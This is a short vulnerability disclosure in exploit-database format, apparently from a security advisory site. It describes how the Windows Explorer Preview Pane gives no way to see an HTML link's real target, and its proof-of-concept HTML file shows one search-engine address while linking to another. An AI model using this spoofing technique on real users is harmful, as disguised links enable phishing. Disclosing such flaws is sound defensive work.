Windows Explorer Preview Pane HTML File Link Spoofing

The Windows Explorer Preview Pane feature allows for spoofing of links contained in an HTML based file because upon moving the mouse over the link nothing happens and it cannot be right-clicked to show the actual target.


MD5 | a101017ac8f951413bcaa011440d398c

# Exploit Title: Windows Explorer Preview Pane HTML File Link Spoofing Vulnerability
# Google Dork: n/a
# Date: December 25th, 2021
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://www.microsoft.com/
# Software Link: http://www.microsoft.com/
# Version: Windows 7, 8.1, 10, 11 (x86/x64 )
# Tested on: Windows 7, 8.1, 10, 11 (x86/x64)
# CVE : n/a

Windows Explorer Preview Pane feature allows for spoofing of links contained in an HTML based file because upon moving the mouse over the link nothing happens and it cannot be right-clicked to show the actual target.
The app invoked to parse the HTML file in Preview Pane is "prevhost.exe" and it uses MSHTML platform.

PoC:

==============PreviewMe.htm=========================
<!DOCTYPE html>
<html><body>
<p><b> Click the link to your favorite search engine!</b></p>
<p> <a href="http://www.bing.com/">http://www.google.com/</a></p>
</body></html>
=====================================================

vídeo demo: https://www.youtube.com/watch?v=A6yhlpRVoV4



Related Posts